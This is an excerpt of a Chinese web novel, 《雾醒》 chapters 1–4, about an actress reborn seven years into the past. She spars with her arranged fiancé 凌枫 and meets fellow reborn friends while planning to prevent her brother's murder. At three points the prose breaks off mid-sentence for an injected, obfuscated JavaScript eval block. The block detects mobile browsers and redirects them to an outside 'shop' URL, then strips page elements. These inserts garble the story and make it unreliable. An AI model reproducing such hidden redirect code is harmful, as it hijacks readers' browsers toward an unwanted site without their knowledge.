《雾醒》 1. 重生 被压得喘不过气的窒息感仍旧未褪。 此时此刻,常好好满脑子里都是商场塌方时的场景。 身旁的混凝土碎屑,门外此起彼伏的惊呼声,空气中弥漫着的血腥味……她的手握成拳头紧紧地扣住前胸,冷汗顺着额头滴落。 “我去,你可算醒了。” 恐怖回忆被熟悉且欠扁的声音打断。常好好身体定住,久久未出声,懵逼地听着好友安燃讲述来龙去脉。 他们遇到商场坍塌,重生到了七年前。 坍塌…… 重生…… 这特么的合理吗? 深呼一口气,想让自己慢慢接受事实。等再次抬起眼,发现安燃那个家伙不知道抽哪门子疯原地打了一套拳,紧接着闭上双眼,“砰”地一声跪在地上,两只手合在一起邸在下巴处,嘴里还念念有词? 常好好嘴巴微张,呆呆地望着安燃,嘴角几不可见地抽了抽。 嗯。 安燃的脑袋瓜绝对被水泥拍傻了。 做完一系列迷惑动作,安燃起身拍了拍膝盖,继续刚才的激情澎湃,“我比你提前回来三天。至今不敢相信成世泽会噶?你说到底是谁这么恨他?我完全没有头绪。” 成世泽是常好好明面上的二哥。 按照上一世的时间线。六年零十个月后,常好好被警方列为杀害成世泽的嫌疑人之一,并且登上全平台热搜。 与此同时,有关成家的豪门八卦被有心人迅速传播,成为大家茶余饭后的谈资。 可怕的画面刚冒出一点,常好好逼迫自己甩了甩头,用指尖揉搓着眉心,有气无力地说:“我也想知道是谁。” 明明她这个行走的钞票更危险才是,为什么最后出事的人会是成世泽?背后恐怕隐藏着更大的秘密。 “哇!” 突如其来的尖叫声中止了常好好的思路。 声浪一个接一个轰击着她的耳膜,混杂的声音搅得她脑仁生疼。 她皱起眉头,唇角扯了扯,一副“我是谁我在哪这都啥声音”的懵逼脸。 安燃战术性清了清嗓子,笑容灿烂得直晃她的眼:“你回来的正是时候,刚巧赶上我今天过生日。” “?” 许是酒精摄入过多,她脑子完全跟不上节奏,脖子机械地跟随安燃转动。 包间门被安燃一把推开,外面有人呼喊着她的名字。 常好好这才回过神,看着眼前的一切,混乱的大脑逐渐清晰。 “现在感觉怎么样。”赵奕一眉头拧成了结,满脸担心地望着她,“刚才你突然晕倒,可把我们吓坏了。” “以后别再节食减肥了,身体更重要。”王洋眼神里的担忧浓得化不开。 好家伙! 塑料姐妹花从翻脸不认人回到假意关心状态。假老公从爱而不得、疯狂使坏回到初始舔狗人设。 披着“皮”的两个人再次出现,让常好好意识到回到七年前不是幻觉。 这时候她正处于到处试戏,努力争取女四、女五号的十八线演员,连流量明星的边都挨不上;这时候她没有和王洋合作,更不会被他坑入谷底;这时候成世泽没有死,她也不会成为嫌疑人。 想到这儿,她噗呲笑出声,无视眼前两个小垃圾,径直穿过人群,费力地走到吧台前。 见她晃晃悠悠地坐下,吧台小姐姐笑着凑过来,“再来一杯深水炸弹?” 常好好点了点头,手指有一下没一下地敲击台面。这时眼角余光瞥见一个人影拢过来,挡住了半边光。转头一看,那人已经坐在她身旁的椅子上。 男人长了一张瘦长的脸,明显的双眼皮和干净的眼神让他看起来阳光清爽。 他身着白色体恤,搭配黑色七分工装裤,骨节分明的手搭在杯沿,随意靠着椅背,姿态松垮自然。 是他? 凌枫这张脸,常好好一辈子都不会忘。谁让他是外公成青林离世前替她选好的老公呢。 她接过店员递过来的酒杯,轻轻抿了一口,目光从未在凌枫身上移开半分。 上一世,常好好知道自己不是养父成知聿亲生所出后变得叛逆。 没过多长时间,便从外公亲信陈明那里得知自己是外公唯一血脉的消息。从那以后,她与成家众人撕破脸,装都不装了,连带着和凌家结的娃娃亲一并否认。 凌家与成家建立联系是从凌楷、凌枫的父亲凌肃,与常家第一代掌舵人成青林开始。 成青林和他的女儿成初霁早在常好好刚出生不久便去世。 上一世,在常好好的视角里,凌家是真心还是假意,根本无从得知。 正因如此,她从那时起不信任何人,丝毫不给凌家面子,也不顾陈明的劝导,转头与王洋协议结婚,却忽视了王洋的野心勃勃。 大爷的!幸亏当时跑得快! 脑海里蹦出王洋想要强迫她的惊悚片段,每每回想仍心有余悸,牙被她磨得嘎嘎直响。 常好好握住酒杯的手渐渐收紧,无意识地磕着台面。 “喝多了?”男人的声音低沉有磁性。 刚要脱口而出“关你屁事”。一抬眼,发现对方视线扫过来,不带情绪,却让你全身汗毛都立起来。 常好好不禁打了个寒颤。 印象中凌枫是个城府极深的人。表面阳光帅气,实际阴暗爬行,人设被他玩得溜溜的。 羽毛球职业生涯期间,他与安燃组成男子双打共获得过五次世界冠军。退役后人气不减当年,依旧是体育圈人气TOP3。 去年与成世泽合伙出资成立酷誉公司小有名气,六年后更是火爆全国。可惜成世泽意外出事直接影响到公司运作,对当时的酷誉造成了一定影响。 尽管不想承认,可是不得不说,凌枫确实优秀,无论涉猎哪个领域都能做到顶尖。 于是,常好好心态不再是崩塌,而是直接炸了! 人无法共情从前的自己。 论品德、能力、家世、外貌,凌枫把王洋秒得渣都不剩。当时的她,脑袋被驴踢了吧?就算找人假结婚,也应该找凌枫啊。 现在回头看,她错的彻底。 常好好的脑袋犹如一个拨浪鼓,用力咬着压根,不断地用拳头敲打自己的大腿。 悔啊! 一步错,步步错。 微微叹了口气,她脑袋一偏,眼神在四周转了一圈。 头顶灯球开始乱闪,身边的人影在光里摇来摇去, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242723|197807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几乎是扯着嗓子才能听见对方说话。吧台上方挂着的电视屏幕正在循环播放前年世界羽毛球锦标赛双打决赛过后的采访画面。 欢呼声中,凌枫与安燃站定,额头挂满汗珠却眼神清亮,两个人都像在发光。 呵呵。 镜头前魅力四射小太阳,现实中生人勿近你哪位? 常好好从鼻子里哼出一声,目光再次锁定凌枫,自上而下地扫描一遍又一遍。 这能是同一个人? “真够假的。”她垂下眼睫,指尖漫不经心地弹了弹袖口处并不存在的灰,嘴巴撇得忘记了表情管理,“感觉比我更适合做演员,说不好能拿影帝。” “看跟谁比。论演戏,”凌枫眼皮都不舍得抬一下,语气平淡实际阴阳拉满,“你更合适些。” “……” 他,听见了? 不是?这么吵的环境下,他是怎么做到听得一清二楚的?还有这话说的……常好好抿住唇,不爽地眯了眯眼。 不愧是凌枫——既刻薄,又毒舌。 正寻思如何巧妙地把话怼回去。眼神一瞟,从前方漏出来的小缝隙望去,王洋与旁人谈笑风生,时不时地视线飘过来,对她进行眼神版爱意攻击。 那张伪善面具下,算计的精光从眼底一闪而过。 “呕……”她胃里一阵痉挛,喉头猛地一紧,像吞了只苍蝇。 碰巧凌枫侧头,撞见她捂住口鼻,神色痛苦,仿佛下一秒就要直接吐出来。 感受到灼热的视线,她努力把恶心劲压下去,抬头迎上去。 二人四目相对。 在常好好的记忆里,凌枫到了三十七岁没有结婚,没有女友。不管他是自视甚高,或是其他特殊原因。看上去都不像是会贪图美色的人,更不会轻易任人摆布。 上一世的她为何看不清形势,还把难题留给自己?对不住了凌枫,这次只好把难题抛给你了。 常好好嘴角忍不住向上翘起,眼神像锁定猎物般,透着一股游戏开始的狡黠。 洁癖是吧?不喜欢别人触摸是吧? 她双手用力摩擦着,就差磨出火星子。嘴上露出蔫坏的笑容,趁着对方拿起手机,默默伸长手臂,指尖轻轻搭在男人肩头处,而后握起拳头故意敲了三下。待对方蹙眉转头,她不仅不收回手,反而顺着肩膀往斜下方滑落直至男人胸前,脸上堆满无辜又欠揍的关切微笑:“哎呀,你衣服上蹭到你杯里的水了。” 让你跟我阴阳怪气,膈应不死你。 她弯下腰,整个人全神贯注地对着凌枫衣服乱擦一通,跟拿抹布擦桌子似的,没意识到自己的头快要钻进对方怀里。 安燃连喊几声“好好”,她愣是没听见。男人上半身被白色光圈笼罩,也一并忽视。 热闹的哄笑声、碰撞的酒杯声、快节奏的音乐声,所有的欢闹在那一刻戛然而止。 上一秒还蒸腾的热气瞬间凝结成冰,冻住了场内每一张错愕的脸。 抬起头,意识到目光全部聚集到她的身上,常好好身体猛地一颤,脑子终于接上线的瞬间,恨不得把几分钟前的自己砸晕。 可惜现实不允许。 正手足无措时,对面的男人猛地抓住她的手腕。 2. 变化 常好好更加摸不着头脑,身体像被面前的男人点了穴,一动不动地定在原地,只有眼珠微微转动。 两个人突如其来的雷人动作,把就站在他们旁边的安燃吓得浑身一激灵。他原本红润有光泽的脸蛋“唰”地变白,嘴唇微微抖动,一对惊恐的眼珠子仿佛在呐喊:“救命!你们别在我生日的时候搞事好吗?” 不过取个麦克风的功夫,怎么都疯了? 等等! 安燃意识到哪里不对劲,第一反应是低下头,盯着手里的麦克风眨了眨眼。良久,他再次抬眼,发现前面二人不约而同地看向他,眼神极其不友好。 原来罪魁祸首是他? 怕被二人暴打一顿,他心急如焚地往后一蹦,本意想让白色光圈远离他们,完全集中在他这个生日主角身上。结果用力过猛,起跳太高。待他落地,整个身体直直地瞄准在站他后方的人。 巧的是,后面的人正是王洋。 “啊……” “啊啊!!!” “我的脚!!!!!” 王洋的惨叫声轰炸全场,一屁股坐在地上,疼得呲牙咧嘴,眼角飙泪,手压根不敢触碰伤脚。看那架势,仿佛快要疼晕过去。 于是,关注目光全部转移。 眼瞅着那个表面最会伪装,实际超级恶臭的男人痛苦到将身体蜷缩在一起,常好好心里暗爽,嘴角疯狂向上抽搐,想憋又憋不住,最后干脆放弃,肩膀一耸一耸的,快出笑出眼泪。 她本能地想要抬手擦眼,发现右手被男人拽住,根本没有松开的想法。 不是? 大哥你什么意思? 凌枫眉峰紧锁,眼神锐利,没有一丝笑意:“成忆时,你到底想做什么?” 成忆时是本名,常好好则是她为自己取的艺名。 还能想干嘛?当然是引起你的注意啊。 常好好用力抽回手臂,侧歪着头,露出迷人的反派微笑:“没事啊,逗你玩儿呢。”说完,利落地转身,不给对方反驳的机会。 一下子回到七年前,许多事情需要从长计议。她不想在脑袋晕沉的时候与他过多纠缠。手轻轻地敲打着脑袋,时刻提醒自己要保持清醒。奈何酒劲未过,走起路来始终不走直道。要不是工作人员提醒存在柜子里的包,早就单拿着手机出了门。 等到她一路坎坷,终于顺利到达停车场,新的问题又来了。 她的车……停哪了? 常好好踩着7cm恨天高,忍着后脚跟处传来的疼痛,一瘸一拐,在停车场里晃荡着寻找自己的车牌号。 “嗯?” 已经走过去又退回来。 车内不起眼的白色小摆件撞入眼帘,熟悉的样式瞬间勾起了她的记忆。 不可能! 一定是她看错了! 心里这么想,动作却不停。她在黑车副驾驶车门那里停住,猫着腰身,如同做贼一般,双手扒在车门,探头探脑地望去。 天啊! 真的是咖嗒! “咖嗒”是酷誉公司创立的其中一个IP系列积木。按照上一世的时间线,“咖嗒”将在两年后的秋季发售。 时间完全对不上,到底哪里出现了偏差? 确定摆件身份,她如遭雷击,动作定住,眼珠滴溜溜地转。 思绪绞成一团麻时,身后冷不丁响起一道男声。吓得她原地弹起,魂儿被吓飞了半截,手掌狠狠压住胸口,偏过头瞪着来人,大声喘着粗气。 停车场略显昏暗的灯光下,凌枫双手插着兜。他唇角绷紧,一言不发地注视着眼前的女人,眼神平静却深不见底。 “我找车来着。”被他看得浑身发毛,常好好马上把目光撇开,手不知道该往哪放,嘀嘀咕咕中透着心虚,“那个,我车呢?停哪了来着?” 凌枫从裤子口袋里掏出车钥匙,轻轻按了下,面前的车灯应声而亮。 常好好:“……” 眼看凌枫已经拉开车门。说时迟那时快,她顾不得其他,迅速打开副驾驶车门,嗖地钻进去再关紧车门,动作一气呵成。 持续的古怪行为,终于让凌枫那事不关己的神情有了些许松动。 目视女人颤抖着手,小心翼翼地拿起“咖嗒”,捧着它左看右看,边看边摇头,好似发现了多了不得的惊天秘密。他眯了眯眼,蹙眉道:“你……” 闻言,常好好转头,睁着一双无辜的圆眼,手上的动作没停,不断捏着“咖嗒”头上的小辫子。 “究竟喝了多少?”凌枫语气平淡。 常好好挑了挑眉,手顿住。 什么情况?她好像从凌枫的眼神中看到了一丝……同情? 她甩了甩头,一手举起咖嗒,一手指着咖嗒的脸,急切问道:“它为什么会在这儿?” 不知过了多久,凌枫带着一丝认命和懒得懂的妥协,语气平静道:“公司新品。” “什么时候发售?”常好好持续发问。 觉得荒诞,凌枫极度怀疑眼前发生这一切的真实性。一改少言少语的风格,忍不住问道:“我记得世泽说过,你不太喜欢拼积木,对这些不感兴趣。” 这话没说错。酷誉发售的所有积木产品里,只有咖嗒让她感觉顺眼。唯独收藏过一套咖嗒的限量版积木和拼图礼盒。 常好好是个急性子,这个节骨眼上想快速得到她想要的答案,没有过多解释,“我觉得这个好看,所以什么时候发售?” “下周二。”凌枫从她手里拿走咖嗒,放回原位。他侧脸线条冷峻,身体微微后靠,默默拉开与副驾驶的距离,朝她勾起一丝极淡的笑,眼神示意车把手,就差嘴里说出个“请”字。 常好好心思全放在原本不应该出现在这里的咖嗒,有种不把事情原委弄清楚不罢休的气势。一把薅过安全带,三秒钟系好,不客气地说:“我喝多了,送我回家吧,谢谢。” 车内陷入寂静。 她知道凌枫没那么好说话,于是耍着厚脸皮,甚至把成世泽搬出来,“哎,我二哥要是知道我一个人大半夜找代驾的话,肯定不放心。” 果然,凌枫很给成世泽面子。他目视前方,修长的手指握紧方向盘,不再理会其他。 一路上,常好好叽叽喳喳个没完,嘴巴就没闭上过。可无论她问什么,男人开车的动作始终保持优雅,眼神漠视,一副爱搭不理的模样。 “到了。”凌枫无视她的追问,抢先一步帮她解开安全带,顺便伸出长臂为她推开车门,动作绅士,让她硬挑都挑不出毛病。 常好好被男人气得想发飙,强迫自己闭上眼。等再睁开眼睛时,她的目光坚定。 上一世很多错误大都源于太过心急。重来一次,绝对不能急于求成。她深呼一口气,说道:“谢了。”迅速下车,头也不回地进入小区。 “没关系,以后见面机会多的是。不把你逼得主动退婚,我就不是常好好。” 带着无尽的希望,她把后脚跟的疼痛抛在脑后,整个人气场全开,快步向前走。等到了家门口反倒觉得腿软没劲儿,立刻蹲下身子,低头翻找门钥匙。 “你回来啦!” 清脆悦耳的声音突然从侧边传来。 已经数不清这是今天第几次被吓到了。常好好身子僵住,下意识转过头,瞳孔放大却一片空洞,连尖叫都忘了。 两个女人就这样静静地对视。 “你不记得我了?”沈骁率先开口,手舞足蹈地比划着,“小孩子摔倒,我们一起帮忙。小孩子和她妈妈前脚刚出去,我感觉被重物击倒,没了知觉。” 常好好蹭地一下站起身,微微走近些,定定地看着沈骁的脸。 记忆回到重生前一刻。 商场突发通知,楼内所有人陆续走出商场。她和安燃因为被放鸽子而不甘心,成为被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242724|197807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清场的最后一批人。眼看要走到门口,最后面的小孩子因为快跑被绊倒。他们回身帮忙,家长连忙感谢,等孩子前脚刚出商场,楼就塌了。 也就是说,重生回来的不止她和安燃,还有其他没走出商场的人? “安燃没跟你说我在你家门口等你吗?”沈骁别提多兴奋,飞快地掏出手机翻到她与安燃的聊天记录界面,一把举到常好好面前,“你看!我们比你先回来,一共四个人,还有一个李嘉晨。” 印象中大楼摇摇欲坠时,身后确实有一双有力的双手推她来着。 想到本不应该出现的咖嗒,常好好恍然大悟,或许和李嘉晨有关? 沈骁目不转睛地望着陷入沉思中的常好好。明明是常好好没错,却多少有些狼狈。 长到腰间的黑长直,有几缕发丝黏在汗湿的脖子上,苍白的肤色在白色光线下显得更加明显。 本人比电视里漂亮多了,又高又白,身材爆好,一点不像甜妹,反而气质更清冷些。 “咕噜噜”的肚子响中断了沈骁欣赏的目光。 常好好尴尬地挠了挠头。 糟糕!刚才光顾着喝酒、逗凌枫玩儿来着,都没顾上吃饭。她赶紧低头找出钥匙,加快速度打开门。 进屋第一件事就是“哐哐”两下甩掉恨天高,手自然地摸到半身裙拉链处,才往下拉出一公分,眼前闪过沈骁那张崇拜她的脸,于是赶紧合上拉链,换了一副面孔,露出完美的甜妹笑容,亲切地邀请着,“进屋吃点东西吧。” 沈骁进门换上拖鞋,这转一圈,那转一圈,然后往沙发贵妃椅上一躺,手臂放松地搭在扶手上,腿也顺势舒展开,自在的犹如自己家。 等常好好抱着一堆零食回到客厅,差点以为走错地方,唇角微微抖了三抖。 人才! 真是一点不客气。 正所谓人生如戏,全靠演技。常好好在演艺圈混了十二年,什么奇葩人和雷人场面没见过。 她坚持入戏,维持着公司为她量身定做的甜美人设。中途做过心理斗争曾想破罐子破摔,可对方根本不给她插嘴的机会,比机关枪还火箭炮。在被火箭炮“围攻”的时候,她一度怀疑安燃是不是真的被水泥压傻了,要不然怎么会把沈骁当成帮手。 确定不是帮倒忙? 沈骁嘴又快又碎,嘀嘀咕咕的功夫不知从哪里掏出来一本册子。 常好好垂眸,看着被人递到面前的粉色册子。 册子厚度足足大于三厘米,压根数不清里面有多少纸张。只见上面清晰印着六个大字——重生计划手册。 额。 她瞅瞅册子,又瞧瞧沈骁,再也控制不住表情管理:“你……确定没拿错?” 开什么国际玩笑?这玩意比她看过的剧本还厚? “当然了。”沈骁抬起手,激动地比划着,“我用了八天时间呢。” 好家伙,堪比编剧啊! “你学的什么专业?”常好好好奇问了一嘴。 沈骁:“财务。” 哦,怪不得如此严谨。 沈骁:“不过,我从大二开始就决定转行了。” 还有什么专业能让她在八天时间里作出这么一大摞,光码字时间都不够吧? 常好好:“你自学法律?” “非常接近了。”沈骁沉默片刻,又点了点头,一本正经地说,“我写小说的。” 常好好手不小心滑了一下,差点没拿住这厚厚一大叠。 我请问呢? 两者接近? 看着人家那张无比认真的脸,常好好仰头望着天花板。 三十二年了,她第一次没有任何战斗力,直接让脑回路非同寻常的沈骁给干沉默了。 她决定少说话,翻开册子一字一句地读下去。才翻到第二页,甜美的笑容瞬间凝固,嘴角微微抽动,瞳孔里映着难以置信的光。 3. 狗血 安燃那个欠抽的家伙,怎么什么都往外说? 正要张嘴大骂安燃时,沈骁忽然张口替她抱不平:“想起来我就生气!网上营销号说的太扯,比我写的狗血小说还扯。” 渐渐适应了对方的跳跃,常好好微微耸了耸肩:“是啊。现实生活里哪有那么多狗血故事。” “可不嘛。”沈骁继续愤愤不平,“网上那些人天天净胡说八道,一会儿说你是私生女,一会儿又说你不是亲生的。啥话都让他们说了。拜托!你怎么可能不是亲生的呢。” 飞快翻看手册的手顿了顿,常好好眨巴着大眼睛,张了张嘴又抿住,后来实在忍不下去,干脆合上手册,换了个姿势盘起双腿,面对面正对着沈骁,一脸严肃地道:“他连我和王洋假结婚的事都说了,却没告诉你,我和成世泽的真实关系?” “你们能有啥别的关系啊。”沈骁咧着嘴不以为意地拍着她的肩头,忽地灵光一闪,手停在半空中,脑海里冲出无数个画面,颠覆了认知。 “你……” “不是?你们……”沈骁猛地倒吸一口气,半捂住嘴巴,“骨科?” 常好好不敢相信自己的耳朵,呆呆地盯着沈骁,甚至忘记眨眼。 不理解。 非常不理解。 沈骁脑袋瓜子里都装的什么乱七八糟的东西? 隔了好半天她才缓过神,告诫自己一定要克制住即将爆发的小宇宙,深呼一口气,脸上再次扬起笑脸,尽量耐心地解释:“我的亲妈和外公与成世泽的爸爸和奶奶是重组家庭。我妈和我养父成知聿没有血缘关系,更别提我和成世泽了。” 沈骁听得一愣一愣的,眼睛瞪得像铜铃。 常好好:“说白了就是我的外公带着我的母亲也就是他的女儿和成世泽的奶奶带着我的养父也就是她的儿子再婚,重新组成四口家庭。这回够清晰明了吧。” 现实果然比小说还要狗血。良久,沈骁站起来“嗷嗷”喊了两嗓子,双手用力击掌。 “我懂了,你们不是骨科。” 谢天谢地,你终于明白了。 “你们是伪骨科!” “……” 不愧是写小说的,想象力真他大爷的丰富啊! 再也忍不下去了,常好好把拖鞋一甩,右脚用力踩在皮沙发上,抬手揪掉绑马尾的发圈,背部往后一靠,手臂往旁侧一搭,整个人肉眼可见地松弛下来。 被她的动作惊得分了神,沈骁一下子忘记要说啥。好在她接受能力强的一批。为避免尴尬,从茶几上薅过来一块巧克力,边吃边听偶像认真地讲述她与成家的“爱恨情仇”。 “天啊!所以你和你两个哥哥都没有血缘关系!”沈骁喃喃自语,不知想到哪里,嘴角挂着似笑非笑的弧度,“伪骨科题材可是热点。”话落,发现常好好用一种过于“慈祥”的眼神注视着她,赶紧拾趣地转移话题,“那个,我刚才想问来着,成世泽他是被……” 常好好邪魅一笑,“被巧克力毒死的。” 听到这话,沈骁手上动作不停,大咧咧地又咬上一口。 常好好给她一个暴击,“你现在吃的巧克力就是成世泽送给我的。” 原本“咔嚓咔嚓”咀嚼巧克力的声音在一瞬间消失不见,取而代之的是一声—— “呕……” 这次杀伤力太大,沈骁把巧克力一扔,跑去餐厅冲着水龙头狂吐。 常好好捡起剩余的巧克力若有所思,无奈这一天用脑过度,越想理清,头越晕沉,只好躺在沙发上闭目养神。谁知眼皮越来越沉,真的进入梦乡。 等再次醒来,已是第二天下午三点。 光线刺眼得很,常好好慢慢坐起身,眼神扫过房间的每一处,手指无意识地揪着被角,仿佛在确认昨天发生的一切是否真实。 忽地,她瞄到床头柜上放置的水杯。杯子下面压着一张纸条—— 亲爱的好好,厨房有粥和茶叶蛋,记得吃。我出去溜达一圈顺便接李嘉晨,等我们回来。 不是梦! 常好好掀开被子,下床走到窗边,伸了个大大的懒腰。她感受着阳光的温暖,看着窗外明亮的世界,一种干净纯粹的愉悦感油然而生。 上一世,通过刑警问话得知成世泽与他人的聊天记录,原来成世泽和她从来都不是对立关系。 心意已决,眼中再无纠结,目光锁定前方。 她一定要找出隐藏在成世泽身边的危险,避免前世悲剧。 眼下距离成世泽出事还有六年多,时间还算充裕。 这个时间段有哪些重要新闻来着?想着想着,常好好懒洋洋地拿起手机点开热搜,发现所谓的业内狗仔又出来放顶流恋情预告。 简单一段话引来吃瓜群众超高讨论量。 【啊啊啊啊啊啊,狗仔爆料内娱将有新情侣!又有乐子看喽。】 【据说是顶流,坐等晚上六点,瓜与勺子已准备好。请不要让我失望,谢谢。】 【拉倒吧,到时候又是十八线,听都没听过,说不定粉丝量不如我呢,看个屁乐子。】 “真够无聊的。”常好好嘴上如是说,手指像装了马达,点击声连成一片。打完一串字,确定一遍是否用小号登录,然后点击发送。 【你们真认为顶流的瓜能被放出来?全是套路好吧!什么狗仔,不如听我给你们编瓜。】 不到三分钟,这条博文底下的评论便有十多条。大家一个比一个有梗。 常好好返回热搜榜,眼神懒懒的,手指随意地往上滑。 咻地,她的指尖停住了。屏幕上出现一个熟悉的名字。 “切,关我屁事。”她手指赶快往上滑,也就三秒钟,又默默滑了下来,鬼使神差地点进词条,刷到实时滚动评论。 【真羡慕凌枫父母,生双胞胎就算了,还这么帅。帅就算了,还都那么优秀。人比人气死人。】 【谁懂我上次刷到与凌楷有关的新闻图片,我的妈呀,实在太有范了。说高岭之花谁是高岭之花,守着这张脸直接拍戏多好。】 【人家凌楷是集团继承人,你让人家拍戏?…………其实也不是不可以哈哈哈】 【各花入各眼,我更喜欢枫枫诶,一眼看去妥妥男大,帅死了,身材真他么的好。酷誉赶紧出新品,我要下单!】 【凌枫真的绝,做什么都优秀。】 【支持凌枫+10086】 【我支持凌楷!】 评论逐渐走偏。从没完没了的夸夸,到两家粉丝相争,最后“活人”评论全没了,一大堆空瓶,看得常好好目瞪口呆。 问题是大众心里的他们和现实中正好相反。 凌楷平日里戴着一副金丝框眼镜,身着西装革履,总裁范十足。看似气场全开,实际本人很好说话,跟谁都能聊到一起去,与高岭之花没有半毛钱关系。 相比之下,一眼望去运动阳光的凌枫难搞多了。 你跟他说十句,他回你一句都像施舍。倘若话变多反而要小心,那张嘴啊,可不是一般的毒舌,说完还会送一个“你没事吧”的眼神,高冷的很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242725|197807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 脑海里浮现小学寒假过年期间,她与成世轩和成世泽兄弟俩在凌家呆了几天,当时看见他们双胞胎兄弟面对面写作业,然后…… 然后什么来着? 常好好总感觉有一件事很重要,却又想不起来。 “叮叮!” 微信通知响起。 【脑袋短路小然然:给你打电话不接。世泽去深北出差一半会儿回不来,我直接微信联系他,说你为下一部戏做准备,要去酷誉感受职场生活。小枫枫那边点头了,酷誉工作证马上送到,你和沈骁随时去,不用感谢我!】 安燃确实给力。 常好好回了个“谢”字,顺手把手机放在桌上,手呈兰花指形状将软椅上的抱枕移开,拎出那本沉甸甸的《重生计划手册》。 昨天被沈骁搞得差点忘了重要的事情。她继续翻看手册,纸张在指尖“沙沙”作响,只为寻找“李嘉晨”三个字。 “我们回来啦!” 隔着大门,声音依旧被她听得清清楚楚。 常好好迟疑了一会儿,意识到马上要见到谁,连忙反应过来把手册一甩。顾不上其他,光着脚丫子,飞快地打开大门。 沈骁这张脸再次出现在她的眼前。她急得踮起脚尖,伸着脖子往沈骁后方眺望,愣是没看见半个人影,心下慌了:“李嘉晨呢?没跟你一起?” 见她目光不在自己身上,沈骁撇了撇嘴:“呐,他在这儿呢。” 常好好顺着沈骁的手指,缓缓低下头—— 一个五岁左右的小男孩出现在她的眼前。 “……” 她瞳孔地震,嘴巴张的可以塞下一整颗鸡蛋。 没看错。 真的是一个小男孩。 她缓慢地眨了眨眼,再眨了眨眼。 嗯,怎么看都是上幼儿园的年纪。 “姐姐你好。我叫李嘉晨,你可以叫我晨晨。”小孩子的声音略微沙哑,很有辨识度。 她咽了下口水,愣是没发出声,只觉得脑瓜子嗡嗡的。 那个…… 以后是不是还要专门留出时间和李嘉晨玩超真实办家家酒? 这念头一起,眼前犹如开了个投影仪,各种离谱场景怼在她的脸上。 这对吗? 请问这对吗? 重生第二天的冲击是不是有点大? 脑子缺根弦的安燃、抽象又碎嘴子的沈骁、幼儿园小朋友李嘉晨。 她的重生队友们真“给力”呀。 “铛铛铛铛!”沈骁从身后掏出两个特殊工作牌,嘚瑟地晃了晃,“快递我帮你取回来了,时刻准备着出发去酷誉。” 就不能让她缓几天? 对面期待的眼神过于强烈,常好好琢磨着如何拒绝。 来得早不如来得巧,手机铃声突然响了。 “我先接个电话。”她找到机会赶紧溜,目光扫视手机屏幕,看见“安燃”两个字犹豫三秒,寻思总比被沈骁念叨强,立即接通,“喂!怎么了?” “你说怎么了?赶紧看微博!” 安燃本就不是一个稳重的人,没事最喜欢一惊一乍。 常好好翻了个白眼,不急不躁地打开微博热搜,再次看见熟悉的名字—— 凌枫车内约见黑长直性感美女。 好家伙,这词条起的。要是从前,真想把他挖到自己的营销团队里。 她点进词条,脸上难掩一抹幸灾乐祸的笑,顺手点开图片,放大。 猛地,笑容顿住了。 4. 绯闻 酷誉公司位于滨城南山区东侧一独栋。公司前台接待区设计时尚,各大ip系列积木、拼图、手办应有尽有。 前台职员小宋目不转睛地盯着电脑屏幕,嘴角微微上扬,一只手搭在鼠标上,另一只手正疯狂地码字,直至听见大门敞开的声音才收回视线。抬起头,朝着来人面露微笑。 眼前的女人一头柔顺黑发直直垂落,身穿红黑相间紧身抹胸背心,外搭一件牛仔薄外套,慵懒敞开着,下身是高腰同色系牛仔短裤,展露出她的大长腿。 身材真好。 咦? 怎么感觉有点眼熟。 小宋顿了顿,笑道:“你好,请问……” 女人拿起挂在脖子处的工作牌,漫不经心地摇晃两下。 特殊工作牌! “好的女士,我帮你……”小宋手忙脚乱,一不小心碰翻了笔筒。哗啦一声,笔滚得到处都是,捡都捡不过来。 女人蹲下,帮她捡起掉在地上的笔,不慌不忙地说:“不麻烦你,我自己去找他。” 找他? 他是谁啊? 望着女人渐行渐远的背影,小宋懵懵地眨着眼睛,回忆女人的样子,忽地捂住嘴巴,快速拿起电话拨通号码,说出来的话有些语无伦次:“糟了经理,她来了!已经往里面走了,我们怎么办啊?” “谁来了?”办公室经理李盛站在会议室门口,面色愁容,唉声叹气着。纠结了半个小时仍不敢敲门,正迷茫得不知如何是好,哪有心思管小宋那边的情况,“小宋啊,我跟你说多少次。不要总完了、糟了的,多说一些正能量的话好吗?现在谁来了能有网上的事重要。” 小宋:“领导,就是她啊。” “你倒是说谁啊?”李盛气不打一处来,“挑重点说!” “常好好。” “?” 声音好像不是从手机听筒里传出来的。 李盛大脑一片空白,僵硬地转过头,看到了站在她身侧的女人。 这张脸熟悉又陌生,好像有那么一点眼熟。 “咚咚咚!” 不等她缓过神,女人已经敲响了会议室的门。 李盛:“我靠!完了完了!” 